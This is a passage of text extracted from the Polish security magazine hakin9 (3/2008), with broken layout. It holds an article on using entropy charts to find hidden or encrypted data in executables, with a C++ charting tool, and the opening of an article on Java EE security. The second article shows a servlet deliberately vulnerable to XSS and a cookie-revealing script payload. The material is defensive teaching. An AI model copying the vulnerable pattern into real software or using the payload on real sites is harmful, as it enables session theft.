tyczna  definicja  entropii  omawianej  w 
dalszej  części  tego  artykułu:  entropia 

jest funkcją pewnego ciągu danych, którą moż-
na  wyrazić  jako  sumę  iloczynów  prawdopodo-
bieństw  wystąpienia  danego  znaku  oraz  ilości 
jego wystąpień w ciągu danych. W pseudoko-
dzie obliczanie entropii wygląda następująco:

entropia = 0
dla każdego znaku 'i' w danym alfabecie:
   entropia = entropia + p(i) * ilość(i)

gdzie  p(i)  to  prawdopodobieństwo  wystąpie-
nia znaku i w danym zbiorze danych, a ilość(i) 
to ilość jego wystąpień w tym ciągu. Tak zde-
finiowana  entropia  przyjmuje  wartości  od  1  do 
wielkości  równej  co  do  wartości  ilości  znaków 
w ciągu.

Tyle teorii. W praktyce alfabetem są zazwy-

czaj wszystkie znaki ASCII (konkretnie wszyst-
kie 256 wartości, które może przyjąć jeden bajt), 
a ciąg danych to po prostu pewne dane binarne, 
których entropię chcemy zmierzyć – na przykład 
plik. Jeżeli chodzi o praktyczne wartości zwra-
cane przez funkcję entropii, to wyobraźmy sobie 
dwa przypadki. W pierwszym z nich załóżmy, że 

mamy plik o wielkości 256 bajtów, który zawie-
ra same litery A. W takim wypadku prawdopo-
dobieństwo wystąpienia litery A jest stuprocen-
towe, a prawdopodobieństwo wystąpienia jakie-
gokolwiek innego znaku jest zerowe – tak więc 
entropia będzie wynosić 1 * 100% * 256 bajtów 
+ 255 * 0% * 0, czyli (pozbywając się jednostek) 
256. W drugim, skrajnie przeciwnym przypadku, 
wyobraźmy sobie plik, również o wielkości 256 
bajtów, który zawiera wszystkie znaki ASCII (tj. 
każdy  możliwy  znak  ASCII  wystąpi  w  nim  do-
kładnie  raz).  Wtedy  prawdopodobieństwo  wy-
stąpienia każdego znaku wynosi 1 / 256, a en-
tropia będzie sumą dwustu pięćdziesięciu sze-

Entropia – pomiar 

i zastosowanie

Michał Gynvael Coldwind Składnikiewicz

stopień trudności

Entropia, rozumiana jako wielkość losowości pewnych danych, 

może służyć wprawnemu badaczowi jako narzędzie pomocne 

w wyszukiwaniu ukrytych danych oraz interpretacji budowy 

nieznanych plików. Niniejszy artykuł ma na celu przedstawić 

Czytelnikowi zagadnienia związane z entropią.

Z artykułu dowiesz się

•   co to jest entropia,
•   jak  wykorzystać  pomiary  entropii  do  lokalizo-

wania ukrytych danych,

•   jak interpretować wykresy entropii danych.

Co powinieneś wiedzieć

•   mieć ogólne pojęcie o matematyce,
•  mieć ogólne pojęcie o informatyce.

background image

Entropia

hakin9 Nr 3/2008

www.hakin9.org

59

ściu  iloczynów  1  /  256  *  1  bajt,  co 
sprowadzi  się  do  256  /  256  czyli  po 
prostu do entropii równej jeden.

Zatem  entropia  jest  średnią  wa-

żoną  prawdopodobieństw  wystąpień 
każdego  ze  znaków  ASCII  w  okre-
ślonym ciągu danych. Należy zauwa-
żyć, że czym mniejsza wartość entro-
pii w powyższym przypadku, tym wię-
cej rodzajów znaków zostało użytych. 
Pojawia  się  pytanie  –  czy  są  jakieś 
charakterystyczne  wartości  (lub  ich 
przedziały)  entropii  dla  różnego  ro-
dzaju  danych?  Przed  przejściem  do 
odpowiedzi na to pytanie należy jesz-
cze powiedzieć dwie rzeczy.

Po pierwsze, wartość entropii NIE 

ZALEŻY od kolejności wystąpień da-
nych znaków w ciągu, a jedynie od ich 
ilości  oraz  całkowitej  długości  ciągu 
(można jednak temu prosto zaradzić 
wyliczając na przykład entropię z cią-
gu różnic kolejnych bajtów lub wyko-
nując  bardziej  skomplikowane  trans-
formacje).  Po  drugie,  entropia  wyra-
żana w skali od 1 do długości ciągu 
wydaje się być mało wygodna, dlate-
go w dalszej części artykułu posługi-
wać się będę entropią wyrażoną pro-
centowo.  Przekształcenie  na  wynik 
procentowy  uzyskać  można  korzy-
stając z prostego wzoru:

Entropia = (1 - Entropia / Długość_

Ciągu) * 100%

Tak  więc  entropia  0%  oznaczać  bę-
dzie  stały  ciąg  (na  przykład  sa-
me literki A), a entropia na poziomie 
99,9%  (100%  nigdy  tak  naprawdę 
nie osiągnie) – ciąg całkowicie loso-
wy.  Dodatkowo  można  jeszcze  pod-
nieść  uzyskaną  wartość  do  kwadra-

tu,  aby  zwiększyć  różnicę  między 
poszczególnymi  (górnymi)  pozioma-
mi entropii.

Rodzaj danych a entropia

Okazuje się że poziom entropii różne-
go rodzaju danych różni się od siebie. 
Tak więc tekst w języku naturalnym bę-
dzie miał inny poziom entropii niż kod 
maszynowy, a ten z kolei będzie miał 
inny poziom entropii niż skompresowa-
ne dane. Przeanalizujmy poszczególne 
przypadki.  Tekst  w  języku  naturalnym 
zawiera w sobie jedynie niewielki wy-
cinek  całego  alfabetu  ASCII.  Przykła-
dowo do napisania niniejszego artykułu 
wystarczyły jedynie małe i wielkie lite-
ry łacińskie, małe i wielkie polskie znaki 
diakrytyczne oraz pewne znaki specjal-
ne, takie jak kropka, nawias czy znak 
pusty (spacja). 

Tekst  w  języku  naturalnym  ma 

zazwyczaj  entropię  na  poziomie  od 
94,5% do 95,3%, a entropię^2 na po-
ziomie od 87% do 92%. Należy zazna-
czyć, że entropia ta może być niższa w 
przypadku, gdy dane słowo (lub jakaś 
jego część) często się powtarza – na 
przykład  w  wierszach/tekstach  piose-
nek  lub  jako  często  używany  prefiks 
nazwy obiektu w programie. Kolejnym 
rodzajem  danych  może  być  kod  ma-

szynowy,  czyli  skompilowany  asem-
bler
.  Entropia  kodu  maszynowego  za-
leży w dużej części od rodzaju opera-
cji, które są w analizowanym fragmen-
cie wykonywane. Przykładowo oblicze-
nia arytmetyczne (ADD, SUB, DIV etc.) 
mają inne opkody (ang. opcode) niż ob-
liczenia wykonywane na koprocesorze 
(FADD etc.), a te z kolei różnią się od 
opkodów instrukcji kontrolujących prze-
bieg  aplikacji  (JMP,  TEST,  CMP,  JNZ 
etc.). Tak więc ciąg, w którym program 
wykonuje jedynie obliczenia na kopro-
cesorze,  będzie  miał  niższą  entropię 
niż ciąg, w którym jest wszystkiego po 
trochu. Kod maszynowy charakteryzu-
je się entropią na poziomie od 80% do 
98%, a entropią^2 na poziomie od 64% 
do 97%.

W  przypadku  skompresowanych 

danych sprawa jest prostsza, ponieważ 
istotą kompresji jest dążenie do upako-
wania  jak  największej  ilości  informacji 
w jak najmniejszej ilości bajtów, co wy-
musza znaczny wzrost entropii wzglę-
dem oryginału. Dokładny poziom entro-
pii zależy od algorytmu kompresji, jed-
nak prawdopodobnie będzie on na po-
ziomie od około 99% wzwyż (czyli en-
tropia^2 będzie na poziomie około 98% 
wzwyż). Ostatnim ciekawym przypad-
kiem  są  wszelkiego  rodzaju  protoko-
ły  oraz  formaty  binarne  (takie,  jak  na 
przykład  format  symboli  debugge-
ra czy format nagłówków sekcji plików 
wykonywalnych). Dane w nich są wy-
soce uporządkowane, zazwyczaj skła-
dają się z offsetów, adresów i tym po-
dobnych rzeczy, a także (co każdy pro-
gramista oraz reverse engineer dobrze 
wie)  znajduje  się  w  nich  bardzo  dużo 
zer  (zer  binarnych  –  znaków  ASCII  o 
kodzie 0). Tego typu dane mają entro-
pię na poziomie od 40% do 75%, a en-
tropię^2 na poziomie od 16% do 55%. 
Pomiar  entropii  innych  rodzajów  da-

Rysunek 1. 

Porównanie entropii programu z danymi jawnymi oraz 

zaszyfrowanymi

Rysunek 2. 

Wykres entropii^2 dla pliku calc.exe

background image

hakin9 Nr3/2008

www.hakin9.org

Obrona

60

nych  pozostawiam  Czytelnikowi  jako 
zadanie domowe.

Szyfrowanie a entropia

Entropia  zaszyfrowanego  ciągu  da-
nych, w zależności od użytego algoryt-
mu szyfrowania, może się w ogóle nie 
zmienić, lub znacznie wzrosnąć. 

Pierwszy  przypadek  jest  często 

spotykany w przypadku algorytmów, w 
których jeden znak jest zamieniany na 
inny – tak, jak w przypadku szyfru Ce-
zara lub w części automatycznie gene-
rowanych  algorytmów  używanych  do 
szyfrowania  kodu  w  plikach  wykony-
walnych.  Takie  algorytmy,  zazwyczaj 
trywialne, zbudowane są z szeregu od-
wracalnych instrukcji arytmetyczno-lo-
gicznych – takich jak ADD, SUB, ROR, 
ROL, XOR, INC czy DEC – oraz korzy-
stają  ze  stałego,  jednobajtowego  klu-
cza,  który  jest  argumentem  poszcze-
gólnych instrukcji. Należy zauważyć, iż 
w wypadku takich algorytmów zmienią 
się kody poszczególnych znaków, na-
tomimast  pary  prawdopodobieństwa 
oraz ilości wystąpień pozostaną stałe, 
w związku z czym entropia nie ulegnie 
zmianie (jako, że we wzorze na entro-
pie kod znaku nie ma znaczenia).

W  przypadku  algorytmów,  które 

szyfrują  całe  bloki  informacji  lub  szy-
frują strumieniowo, ale w których istot-
ne jest miejsce wystąpienia znaku (tj. w 
których  A  na  pozycji  trzeciej  zostanie 
inaczej zaszyfrowane niż A na pozycji 
czwartej) poziom entropii się zmieni. W 
przypadku większości algorytmów szy-
frowania  bezpiecznie  jest  powiedzieć 
nawet, że entropia wzrośnie do pozio-
mu 98% lub więcej (a entropia^2 do po-
ziomu 96% lub więcej).

Z  powyższych  faktów  płyną  dwa 

bardzo  ważne  dla  nas  wnioski.  Po 
pierwsze,  w  przypadku  gdy  ktoś  pró-
buje ukryć (na przykład w pliku wyko-
nywalnym) zaszyfrowane dane nietry-
wialnym  algorytmem,  wykres  entro-
pii pozwoli błyskawicznie zlokalizować 
miejsce ukrycia tychże danych. 

Po  drugie,  w  przypadku  gdy  wie-

my,  że  jakieś  dane  są  zaszyfrowane, 
ale  ich  poziom  entropii  jest  stosunko-
wo  niski  (na  przykład  około  88%),  to 
wywnioskować można, że dane te zo-
stały  zaszyfrowane  trywialnym  algo-
rytmem  zamieniającym  poszczególne 
znaki na ich zakodowane odpowiedniki 
(co oznacza również, że taki algorytm 
podatny jest na atak za pomocą anali-
zy statystycznej). Na Rysunku 1. przed-
stawione są 3 programy. W pierwszym 
(licząc od lewej) występuje pewna ilość 
danych, która jest jawna (niezaszyfro-
wana).  W  drugim  dane  te  zostały  za-
szyfrowane  trywialnym  algorytmem 
(XOR), a w trzecim – nietrywialnym al-
gorytmem  (co  spowodowało  znaczny 
wzrost entropii).

Zastosowanie

pomiaru entropii

Pomiar  entropii  stosować  można 
przede wszystkim w inżynierii wstecz-
nej (ang. reverse engineering) podczas 
analizy  plików  wykonywalnych.  W  ta-
kim  przypadku  najlepiej  jest  utworzyć 
wykres  entropii  kolejnych  fragmentów 
(na przykład 256-bajtowych) pliku. Ta-
ki  wykres  może  ułatwić  zrozumienie 
budowy pliku, pomóc w lokalizacji po-
szczególnych  składników  pliku  wyko-
nywalnego, a także powiedzieć co nie-
co o jego zawartości dodatkowej (ukry-
te dane, ikony, bitmapy). Przykładowo 
Rysunek 2 przedstawia wykres entro-
pii głównego pliku wykonywalnego kal-
kulatora dołączonego do Windows XP, 
stworzony za pomocą programu z Li-

Listing 1a. 

Program tworzący wykresy entropii

// 

Entropy

 

Chart

 

Drawer

 

"ent"

// Code by gynvael.coldwind//vx

#include 

<cstdio>

#include 

<cstdlib>

#include 

<cstring>

using

 

namespace

 

std

;

// Typedef

typedef

 

unsigned

 

char

 

byte_t

;

// Naglowek TGA

#pragma pack(push, 1)

static

 

struct

 

TGA_HEADER

 

{

  

byte_t

  

id_field

c_map

img_type

color_map

[

5

];

  

unsigned

 

short

 

x_origin

y_origin

width

height

;

  

byte_t

  

bpp

flip

;

}

 

TgaHeader

 

=

 

{

 

0

0

2

{

 

0

,

0

,

0

,

0

,

0

 

}

0

0

0

0

24

0x20

 

}

;

#pragma pack(pop)

// Dane globalne

static

 

int

 

Height

 

=

 

480

Width

;

// Pobierz dane z pliku

byte_t

 

*

FileGetContent

(

const

 

char

 

*

FileName

size_t

 

*

SizePtr

)

{

  

byte_t

 

*

Data

;

  

size_t

 

Size

;

FILE

 

*

f

 

=

 

fopen

(

FileName

"rb"

);

  

if

(!

f

)

 

return

 

NULL

;

fseek

(

f

0

SEEK_END

);

 

Size

 

=

 

ftell

(

f

);

 

fseek

(

f

0

SEEK_SET

);

Data

 

=

 

(

byte_t

*)

malloc

(

Size

);

  

if

(!

Data

)

{

    

fclose

(

f

);

    

return

 

NULL

;

}

 

fread

(

Data

1

Size

f

);

  

fclose

(

f

);

 

*

SizePtr

 

=

 

Size

;

return

 

Data

;

  

}

// Wrzuc dane do pliku

bool

 

FileSetContent

(

const

 

char

 

*

FileName

const

 

byte_t

 

*

Data

size_t

 

Size

)

{

  

FILE

 

*

f

 

=

 

fopen

(

FileName

"wb"

);

  

if

(!

f

)

 

return

 

false

;

fwrite

(

Data

1

Size

f

);

  

fclose

(

f

);

return

 

true

;

}

// Stworz histogram

Rysunek 3. 

Wykres entropii^2 dla 

pliku calc.exe spakowanego UPX'em

background image

Entropia

hakin9 Nr 3/2008

www.hakin9.org

61

stingu 1. Wykres został podzielony na 
5  części  (A,  B,  C,  D  oraz  E).  Pierw-
sza  część  (A)  odzwierciedla  nagłówki 
MZ oraz PE – wyraźnie na niej widać 
niską, zmienną entropię. Druga część 
(B), stanowiąca największą część wy-
kresu, przedstawia entropię sekcji ko-
du (.text) kalkulatora. Cześć trzecia (C) 
to tablica importów – widać na wykre-
sie  wyraźny  spadek  entropii  (z  uwagi 
na uporządkowaną strukturę oraz dużą 
ilość zer). Cześć czwarta (D) to zasoby 
pliku PE, a konkretnie ikony zawarte w 
zasobach. Ostatnia część (E) to reszta 
zasobów – menu, tablica stringów oraz 
akceleratory.  Dla porównania Rysunek 
3 przedstawia wykres entropii tego sa-
mego pliku, ale po zastosowaniu pake-
ra UPX (jest to program kompresujący 
pliki wykonywalne, ale do takiej postaci, 
że można je nadal uruchamiać – roz-
pakowują się one w locie podczas uru-
chomienia). Na wykresie wyraźnie wi-
dać obszar, w którym entropia wzrosła 
(kompresja kodu). Zasoby pliku najwy-
raźniej nie zostały skompresowane.

Pomiar  entropii  można  wykorzy-

stać również w systemach detekcji za-
chowań  anormalnych  (na  przykład  w 
protokołach  sieciowych)  lub  w  syste-
mach  wykrywających  ukryte  dane,  a 
także przy analizie nieznanych forma-
tów  plików,  szczególnie  stosujących 
kompresję bądź szyfrowanie (lokaliza-
cja danych oraz nagłówków).

Podsumowanie

Artykuł  ten  stanowi  jedynie  wstęp  do 
zagadnień  związanych  z  wykorzysta-
niem pomiaru entropii danych w inży-
nierii  wstecznej.  Gorąco  zachęcam 
Czytelników  do  eksperymentów  zwią-
zanych z pomiarem entropii oraz, być 
może, nawet podzielenia się wynikami 
na łamach hakin9. l

Listing 1b. 

Program tworzący wykresy entropii

void

 

MakeHistogram

(

const

 

byte _ t

 

*

Data

size _ t

 

Size

int

 

Ar-

ray

[

256

])

{

size_t

 

i

;

memset

(

Array

0

sizeof

(

int

)

 

*

 

256

);

  

for

(

i

 

=

 

0

;

 

i

 

<

 

Size

;

 

i

++)

 

Array

[

Data

[

i

]]++;

}

// Wylicz entropie

double

 

GetEntropy

(

const

 

byte_t

 

*

Data

int

 

Size

)

{

  

int

 

Array

[

256

];

  

int

 

i

;

  

double

 

Entropy

 

=

 

0.0

;

MakeHistogram

(

Data

Size

Array

);

  

for

(

i

 

=

 

0

;

 

i

 

<

 

256

;

 

i

++)

    

Entropy

 

+=

 

((

double

)

Array

[

i

]

 / 

Size

)

 

*

 

(

double

)

Array

[

i

];

return

 

Entropy

;

 

}

// Funkcja rysujaca pionowa linie

void

 

DrawLine

(

byte_t

 

*

Bitmap

int

 

x

int

 

LineHeight

byte_t

 

R

byte_t

 

G

byte_t

 

B

)

{

  

byte_t

 

PixelColor

[

3

]

 

=

 

{

 

R

G

B

 

}

;

int

 

i

;

for

(

i

 

=

 

Height

 

-

 

1

;

 

i

 

>=

 

LineHeight

;

 

i

--)

    

memcpy

(

Bitmap

 

+

 

(

i

 

*

 

Width

 

+

 

x

)

 

*

3

PixelColor

3

);

}

// Funkcja glowna

int

main

(

int

 

argc

char

 

**

argv

)

{

  

int

 

SampleLength

 

=

 

256

;

// Sprawdz argumenty

  

if

(

argc

 

<

 

2

)

{

    

fprintf

(

stderr

"usage: ent <FileName> [<SampleLength>]

\n

"

                    

"SampleLength is 256 bytes by default

\n

"

);

return

 

1

;

 

}

if

(

argc

 

==

 

3

)

 

SampleLength

 

=

 

atoi

(

argv

[

2

]);

// Pobierz dane

  

byte_t

 

*

BitmapData

*

OutputData

;

  

byte_t

 

*

Data

;

  

size_t

 

FileSize

Sz

i

;

Data

 

=

 

FileGetContent

(

argv

[

1

]

&

FileSize

);

if

(!

Data

)

 

{

    

fprintf

(

stderr

"Error! File not found!

\n

"

);

    

return

 

2

;

 

}

// Zaalokuj pamiec dla bitmapy

  

Sz

 

=

 

FileSize

 

-

 

SampleLength

;

 

Listing 1c. 

Program tworzący wykresy entropii

  

Width

 

=

 

FileSize

 / 

SampleLength

;

OutputData

 

=

 

(

byte_t

*)

malloc

(

sizeof

(

TgaHeader

)

 

+

 

Width

 

*

 

Height

 

*

 

3

);

BitmapData

 

=

 

OutputData

 

+

 

sizeof

(

TgaHeader

);

  

memset

(

BitmapData

0xff

Width

 

*

 

Height

 

*

 

3

);

int

 

cnt

 

=

 

0

;

// Narysuj wykres

 

for

(

i

 

=

 

0

;

 

i

 

<

 

Sz

;

 

i

 

+=

 

SampleLength

cnt

++)

 

{

   

int

 

hi

;

    

double

 

ent

 

=

 

GetEntropy

(&

Data

[

i

]

SampleLength

);

    

ent

 

=

 

1.0

 

-

 

(

ent

 / 

SampleLength

);

//    ent = ent * ent;

    

hi

 

=

 

(

int

)((

1.0

 

-

 

ent

)

 

*

 

(

float

)

Height

);

ent

 

*=

 

100.0

;

    

printf

(

"%.8x - %.8x: %.5f%%

\n

"

i

i

 

+

 

SampleLength

ent

);

if

(

ent

 

>=

 

98.0

)

      

DrawLine

(

BitmapData

cnt

hi

0

0

(

byte_t

)(

ent

 

*

 

2.55

) );

    

else

 

if

(

ent

 

>=

 

81.0

)

 

DrawLine

(

BitmapData

cnt

hi

(

byte_t

)(

ent

 

*

 

2.125

)

0

0

);

    

else

 

if

(

ent

 

>=

 

60.0

)

 

DrawLine

(

BitmapData

cnt

hi

0

(

byte_t

)(

ent

 

*

 

2.55

)

);

 

else

                 

DrawLine

(

BitmapData

cnt

hi

(

byte_t

)(

ent

 

*

 

2.55

)

0

(

byte_t

)(

ent

 

*

 

2.55

);

}

// Zapisz bitmape

char

 

Name

[

512

];

  

snprintf

(

Name

sizeof

(

Name

)

"%s.tga"

argv

[

1

]);

TgaHeader

.

width

 

=

 

Width

;

  

TgaHeader

.

height

 

=

 

Height

;

  

memcpy

(

OutputData

&

TgaHeader

          

sizeof

(

TgaHeader

));

  

FileSetContent

(

Name

OutputData

Width

 

*

 

Height

 

*

 

3

 

+

 

sizeof

(

TgaHeader

));

//  Uwolnij dane

free

(

Data

);

free

(

OutputData

);

 

return

 

0

;

}

O autorze

Michał Składnikiewicz, inżynier infor-
matyki, ma wieloletnie doświadczenie 
jako programista oraz reverse engine-
er
. Obecnie jest koordynatorem dzia-
łu  analiz  w  międzynarodowej  firmie 
specjalizującej się w bezpieczeństwie 
komputerowym. 
Kontakt z autorem: 
gynvael@coldwind.pl

background image

www.hakin9.org

hakin9 Nr 3/2008

62

Obrona

O

pisy luk w popularnych rozwiązaniach 
mnożą się z dnia na dzień. Niezliczo-
ne  artykuły,  książki  i  filmy  ukazujące 

podatności  występujące  na  stronach  opartych 
np.  o  PHP  i  MySQL  stały  się  już  standardem. 
Dokładnie tak samo jest w drugą stronę – niezli-
czone wywody, dotyczące obrony naszych apli-
kacji  internetowych  i  sposobów  powstrzymy-
wania intruzów, podstępnie atakują nas każde-
go dnia z półek w księgarniach. Jednak w więk-
szości  przypadków  publikacje  te  dotyczą  jedy-
nie rozwiązań popularnych i ogólnodostępnych
Rzadko pojawiają się materiały dotyczące obro-
ny  aplikacji  napisanych  np.  w  JEE  czy  .NET. 
Czemu tak się dzieje? Odpowiedź na to pytanie 
jest banalnie prosta – chodzi o dotarcie do jak 
największej grupy potencjalnych odbiorców. Jak 
wiadomo, większość domowych stron interneto-
wych czy niedochodowych witryn tematycznych 
oparta jest głównie na PHP/MySQL i to właśnie 
te technologie cieszą się największym zaintere-
sowaniem potencjalnych włamywaczy. Techniki 
– często bardziej zaawansowane – wykorzysty-
wane w dużych projektach na zlecenie różnego 
rodzaju  firm,  korporacji  czy  banków  pozostają 
w  cieniu.  Idealnym  przykładem  jest  tutaj  JEE, 
niewątpliwie  ciekawa  i  potężna  platforma  pro-

gramistyczna.  Oczywiście  nie  chciałbym  tutaj 
umniejszać niewątpliwych zalet PHP. Osobiście 
jednak uważam, że warto poświęcić trochę cza-
su na przyswojenie informacji odnośnie innych 
języków,  aby  w  późniejszej  pracy  jako  specja-
lista  ds.  bezpieczeństwa  móc  spojrzeć  na  da-
ny  problem  bardziej  abstrakcyjnie.  Ten  artykuł 

Bezpieczeństwo w Javie

Piotr Łaskawiec

stopień trudności

Znajomość wielu zróżnicowanych technologii jest obecnie 

niezbędna w pracy specjalisty ds. bezpieczeństwa. Trzeba 

posiadać wiedzę nie tylko z zakresu popularnych rozwiązań, ale 

także specjalistycznych narzędzi i platform programistycznych. 

Taką specjalistyczną platformą jest opisana w tym artykule Java 

Enterprise Edition.

Z artykułu dowiesz się

•   czym jest JEE,
•   jakie błędy występują w programach pisanych 

pod JEE,

•   jak bronić się przed atakami na nasze aplika-

cje,

•   jak zminimalizować ryzyko wystąpienia ewen-

tualnych błędów.

Co powinieneś wiedzieć

•   znać język programowania Java w stopniu śred-

nio-zaawansowanym,

•   znać podstawowe sposoby ataków na aplikacje 

internetowe,

•   mieć doświadczenie w pisaniu aplikacji interne-

towych.

background image

Bezpieczna Java

hakin9 Nr 3/2008

www.hakin9.org

63

ma na celu zwrócenie uwagi na bez-
pieczeństwo w aplikacjach komercyj-
nych pisanych w Javie. 

Czym jest JavaEE?

Warto  zacząć  od  przybliżenia  te-
go  niezwykle  ciekawego  projek-
tu.  W  tym  artykule  będziemy  odno-
sić się głównie do aplikacji pisanych 
w JEE. Wbrew dość popularnej opinii, 
JEE (Java Enterpise Edition) nie jest 
niezależnym językiem. Jest to ściśle 
określony zbiór praktyk i standardów 
pomocnych w tworzeniu aplikacji biz-
nesowych. JEE bazuje na języku Ja-
va.  Dodatkowo  oferuje  cały  szereg 
komponentów, które mają gwaranto-
wać stabilną i szybką budowę aplika-
cji  działających  po  stronie  serwera. 
JEE  zapewnia  wsparcie  takim  tech-
nologiom, jak:

•   JSP – Java Server Pages,
•   servlety,
•   EJB – Enterprise Java Beans,
•   JDBC – Java DatabaseConnecti-

vity,

•   XML,
•   wiele, wiele innych.

Obecnie Java Enterprise Edition ma 
już  ugruntowaną  pozycję  na  rynku. 
Jej głównym rywalem jest platforma 
.NET,  z  którą  Java  usilnie  walczy  o 
prym w sektorze aplikacji webowych. 
W tym artykule będziemy zajmować 
się  głównie  bezpieczeństwem  apli-
kacji  opartych  na  architekturze  we-
bowej  i  związanymi  z  nimi  dwiema 
wcześniej  wymienionymi  technolo-
giami – servletami i JSP.

JEE – potrzeba 

bezpieczeństwa

Zanim  przejdziemy  do  konkretnych 
przykładów ukazujących błędy w pro-
gramach pisanych zgodnie z JEE, war-
to  zastanowić  się  nad  teoretycznymi 
aspektami  bezpieczeństwa.  Należy 
pomyśleć,  czy  w  ogóle  warto  zajmo-
wać się bezpieczeństwem tej techno-
logii i czy jest to sprawa kluczowa dla 
użytkowników  korzystających  z  do-
brodziejstw JEE. W obu przypadkach 
odpowiedź  jest  twierdząca.  Aplikacje 
tworzone  w  oparciu  o  JEE  kierowa-
ne są głównie do dużych firm, korpo-
racji, banków i wszystkich innych insty-
tucji, w których w grę wchodzą ogrom-
ne pieniądze. Jak łatwo się domyślić, 
wraz z pojawieniem się dużego kapi-

tału  rośnie  potrzeba  zapewnienia  od-
powiedniego  poziomu  bezpieczeń-
stwa. W Enterprise Edition nie piszemy 
stron  domowych,  prostych  serwisów 
czy niezbyt wyszukanych programów, 
które  mogą  działać  lub  nie.  Aplikacje 
w  JEE  muszą  cechować  się  szybko-
ścią, niezawodnością i wysokim pozio-
mem bezpieczeństwa, ponieważ czę-
sto operują na bardzo kosztownych da-
nych. Programiści piszący w Javie mu-
szą wystrzegać się błędów i nigdy nie 
mogą  lekceważyć  mechanizmów  za-
pewniających należyty poziom bezpie-
czeństwa – to właśnie oni odpowiadają 
za przyszły wygląd szkieletu informa-
tycznego firmy, dla której wykonują zle-
cenie i to oni będą odpowiedzialni za 
ewentualne udane ataki. 

Inną  kwestią  jest  swoisty  strach 

ludzi związanych z bezpieczeństwem 
komputerowym  przed  nieznanymi 
technologiami.  Czasami  widząc  .jsp 
jako  rozszerzenie  strony  interneto-
wej, myślimy, że działa ona inaczej niż 
strony napisane w całości np. w PHP. 
Nie jesteśmy w stanie przeprowadzić 
poprawnego audytu bezpieczeństwa, 
ponieważ  nie  znamy  mechanizmów 
funkcjonowania takiej strony i nie po-
trafimy  określić  wzorców  jej  zacho-
wania. Ten artykuł pokazuje, że błędy 
w  aplikacjach  internetowych  są  uni-
wersalne. Wraz ze zmianą języka pro-
gramowania,  technologii  czy  wzor-

Listing 1. 

Przykład kodu podatnego na XSS

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public

 

class

 

XSSVuln

 

extends

 

HttpServlet

 

{

   
   

public

 

void

 

doGet

(

HttpServletRequest

 

request

,

HttpServletResponse

 

response

)

 

throws

 

ServletException

IOException

 

{

            

response

.

setContentType

(

"text/html"

)

;

            

PrintWriter

 

out

 

=

 

response

.

getWriter

()

;

            

out

.

println

(

"<HTML>"

)

;

out

.

println

(

"<HEAD><TITLE>XSSVul</TITLE></HEAD>"

)

;

out

.

println

(

"<BODY>"

)

;

out

.

println

(

"XSS: "

 

+

 

request

.

getParameter

(

"no_filter"

))

;

 //XSS!

            

out

.

println

(

"</BODY></HTML>"

)

;

         

}

   

public

 

void

 

doPost

(

HttpServletRequest

 

request

,

HttpServletResponse

 

response

)

 

throws

 

ServletException

IOException

 

{

   

doGet

(

request

response

)

;

}
}

   

Specyfikacje 

Istnieją trzy specyfikacje stworzone przez firmę Sun Microsystems, opierające się na 
języku Java. 
Java Standard Edition – specyfikacja ta jest podstawą platformy Java. Jest bazą dla 
JEE. Zawiera wszystkie wymagane komponenty potrzebne do budowy nowoczesnych 
aplikacji. Pozwala pisać i uruchamiać aplikacje na komputerach osobistych i serwe-
rach niezależnie od używanego systemu operacyjnego.
Java Enterprise Edition – opisywana w tym artykule specyfikacja, stworzona z myślą o 
aplikacjach biznesowych. W pełni wspiera tworzenie programów o architekturze wielo-
warstwowej (warstwa logiki aplikacji oddzielona jest od warstwy wizualnej). 
Java Micro Edition – specyfikacja Micro Edition odnosi się do aplikacji pisanych na te-
lefony komórkowe. Ta wersja Javy jest zubożona w stosunku do specyfikacji bazowej 
(Standard Edition) ze względu na ograniczone możliwości telefonów komórkowych w 
zakresie alokacji pamięci i złożoności obliczeń.

background image

hakin9 Nr 3/2008

www.hakin9.org

Obrona

64

ców projektowych modyfikujemy we-
wnętrzną  strukturę  aplikacji,  ale  nie 
zmieniamy  jej  podstawowego  pozio-
mu  bezpieczeństwa  wynikającego 
z naszych przeoczeń. Przeoczeń, któ-
re pozwalają przetestować podatność 
naszej aplikacji na typowe błędy.

Popularne błędy w JEE

Wreszcie  możemy  przejść  do  sed-
na  tego  artykułu.  Wiemy  już,  czym 
jest JEE i dlaczego dla tej technologii 
bezpieczeństwo  jest  wyjątkowo  waż-
ne.  Teraz  zajmiemy  się  najczęstszy-
mi  błędami  popełnianymi  przez  pro-
gramistów.  Błędy  zostaną  przedsta-
wione na przykładzie dwóch popular-
nych technologii wchodzących w skład 
JEE – servletów i JSP. Technologie te 
są  opisane  w  ramce  Servlety  i  JSP
Należy także pamiętać, że do urucho-
mienia  kodu  przedstawionego  na  li-
stingach  potrzebne  jest  odpowiednie 
oprogramowanie: serwer Tomcat oraz 
JDK (Java Developers Kit). Odpowied-
nie linki podane są na końcu artykułu. 

XSS  (Cross  Site  Scripting

–  ostatnio  bardzo  popularny  ro-
dzaj  błędów.  Polega  na  przekaza-
niu przez użytkownika kodu napisa-
nego  w  języku  JavaScript  jako  war-
tości  parametru  na  stronie  interne-
towej. Po dokonaniu zapytania stro-
na wykonuje podany kod. Przykłado-
wo, aby zwrócić wartość ciasteczek, 
wystarczy przekazać do servletu na-
stępujący kod: 

<script>alert(docume

nt.cookie)</script>

. Błąd ten pozwa-

la na kradzież sesji, co może dopro-
wadzić do kompromitacji całego sys-
temu  –  jeżeli  została  przejęta  sesja 
użytkownika z prawami administrato-
ra. Kod programu podatnego na XSS 
przedstawiony jest na Listingu 1.

Postanowiłem  nie  przedstawiać 

dodatkowego  kodu  HTML,  ponieważ 
każdy  powinien  sobie  poradzić  z  na-
pisaniem  odpowiedniej  strony.  Nasz 
program  pobiera  wartość  parametru 

no _ filter

 i wyświetla ją na nowej stro-

nie. Widzimy, że w programie nie ma 
żadnej  filtracji  przekazywanych  da-
nych  (co  zdarza  się  bardzo  często) 
i gdyby program był bardziej zaawan-
sowany (sesje, Cookies), to jego kom-
promitacja nie byłaby trudna. Aby po-
radzić  sobie  z  XSS,  należy  filtrować 
każdą zmienną, do której użytkownik 
ma dostęp. Możemy pisać własny filtr 
od podstaw (patrz Listing 2) lub wyko-
rzystać gotowe, przetestowane i bez-
pieczne  klasy  napisane  przez  innych 
programistów.  Listing  2  przedstawia 
bazową  wersję  kodu,  który  przepro-
wadza walidację danych wprowadzo-
nych  przez  użytkownika  na  stronie. 
Kod  jest  wyjątkowo  prosty  i  wymaga 
dodania wielu warunków. Funkcja vali-
dation()
 zwraca logiczną wartość true
jeżeli walidacja danych przebiegła po-

myślnie (brak kodu JavaScript), a war-
tość false, gdy wprowadzono niebez-
